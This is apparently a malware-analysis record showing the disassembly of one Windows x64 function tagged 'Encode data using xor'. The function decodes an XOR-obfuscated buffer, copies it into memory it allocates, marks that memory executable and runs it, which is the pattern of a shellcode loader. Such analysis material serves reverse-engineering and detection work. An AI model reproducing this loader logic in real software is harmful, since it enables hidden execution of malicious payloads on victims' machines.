Function at 0x140003660
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xaf060]
mov eax, 0xaf160
call fcn.140007bf0
sub rsp, rax
movaps xmmword [rsp + 0xaf150], xmm6
movaps xmmword [rsp + 0xaf140], xmm7
xor r12d, r12d
xor edx, edx
mov r8d, 0xaf000
lea rcx, [rbp + 0x40]
call fcn.1400224b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], 0xd
mov qword [rbp - 0x10], 0xf
movsd xmm7, qword [str.ivwt___9_27_]
movsd qword [rbp - 0x28], xmm7
mov esi, dword [0x140031710]
mov dword [rbp - 0x20], esi
movzx edi, byte [0x140031714]
mov byte [rbp - 0x1c], dil
mov byte [rbp - 0x1b], r12b
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], 0xa
mov qword [rbp + 0x10], 0xf
movsd xmm6, qword [str.66_667040]
movsd qword [rbp - 8], xmm6
movzx ebx, word [0x140031720]
mov word [rbp], bx
mov byte [rbp + 2], r12b
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
lea ecx, [r12 + 0x20]
call fcn.1400075b8
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x70], 0x17
mov qword [rbp - 0x68], 0x1f
movsd qword [rax], xmm7
mov dword [rax + 8], esi
mov byte [rax + 0xc], dil
movsd qword [rax + 0xd], xmm6
mov word [rax + 0x15], bx
mov byte [rax + 0x17], r12b
mov ebx, r12d
movsxd rdi, dword [rbp - 0x70]
test rdi, rdi
jle 0x1400037c0
mov r11d, r12d
lea rsi, [0x140037c80]
nop dword [rax + rax]
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
seta r10b
cmova r8, qword [rbp - 0x80]
mov eax, 0x24924925
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, ebx
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rsi + rax*4]
xor cl, byte [r11 + r8]
lea rax, [rbp - 0x80]
test r10b, r10b
cmovne rax, qword [rbp - 0x80]
mov byte [r11 + rax], cl
inc ebx
inc r11
cmp r11, rdi
jl 0x140003770
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
lea rdx, [rbp + 0x40]
call fcn.1400035a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400037f4
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140002350
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsp + 0x70]
dec eax
movsxd r8, eax
test eax, eax
jle 0x14000388a
mov r9, r12
nop dword [rax + rax]
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
seta cl
mov r10, qword [rsp + 0x60]
cmova rdx, r10
movzx r11d, byte [r9 + rdx]
lea rax, [rsp + 0x60]
test cl, cl
je 0x14000385c
movzx eax, byte [r8 + r10]
jmp 0x140003866
movzx eax, byte [rax + r8]
lea r10, [rsp + 0x60]
mov byte [r9 + r10], al
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov byte [r8 + rax], r11b
inc r9
dec r8
cmp r9, r8
jl 0x140003830
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x18]
call fcn.140002ff0
nop
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x48]
call fcn.140001c80
nop
lea rdi, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rdi, qword [rbp - 0x48]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
mov r14, r12
mov qword [rbp - 0x50], r12
movsxd r15, dword [rbp - 0x38]
mov rsi, qword [rbp - 0x58]
test r15, r15
jle 0x14000391f
mov rbx, r12
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbx + rdi]
xor al, 2
mov byte [rbp + 0xaf0a0], al
cmp rsi, r14
je 0x1400038fc
mov byte [rsi], al
inc rsi
mov qword [rbp - 0x58], rsi
jmp 0x140003917
lea r8, [rbp + 0xaf0a0]
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.140004a60
mov r14, qword [rbp - 0x50]
mov rsi, qword [rbp - 0x58]
inc rbx
cmp rbx, r15
jl 0x1400038e0
mov qword [rbp + 0xaf0b0], 0xffffffffffffffff
mov r15, qword [rbp - 0x60]
mov rbx, rsi
sub rbx, r15
mov r9d, 4
mov r8d, 0x1000
lea rdx, [rbx + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xaf0a8], rax
mov r8, rbx
mov rdx, r15
mov rcx, rax
call fcn.140021e10
lea r9, [rbp + 0xaf0a0]
mov r8d, 0x20
lea rdx, [rbx + 1]
mov rcx, qword [rbp + 0xaf0a8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, r15
cmp r15, rsi
cmove rax, rsi
sub rax, r15
mov qword [rbp + 0xaf0b8], rax
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r12
mov rax, qword [rbp + 0xaf0a8]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xaf0b0]
call fcn.140004ee0
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xaf0b0]
lea ecx, [r9 + 1]
call fcn.140004f20
mov r9d, 0x8000
lea r8, [rbp + 0xaf0b8]
lea rdx, [rbp + 0xaf0a8]
mov rcx, 0xffffffffffffffff
call fcn.140004f60
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
test r15, r15
je 0x140003a5a
sub r14, r15
cmp r14, 0x1000
jb 0x140003a4e
add r14, 0x27
mov rcx, qword [r15 - 8]
sub r15, rcx
lea rax, [r15 - 8]
cmp rax, 0x1f
ja 0x140003b82
mov r15, rcx
mov rdx, r14
mov rcx, r15
call fcn.140007584
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140003a95
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b7c
call fcn.140007584
movdqa xmm0, xmmword [0x140031750]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140003ae2
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003adc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b88
call fcn.140007584
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140003b1c
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b8e
call fcn.140007584
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140003b54
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b76
call fcn.140007584
nop
movaps xmm6, xmmword [rsp + 0xaf150]
movaps xmm7, xmmword [rsp + 0xaf140]
add rsp, 0xaf160
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14000e2bc
nop
call fcn.14000e2bc
nop
call fcn.14000e2bc
nop
call fcn.14000e2bc
nop
call fcn.14000e2bc
int3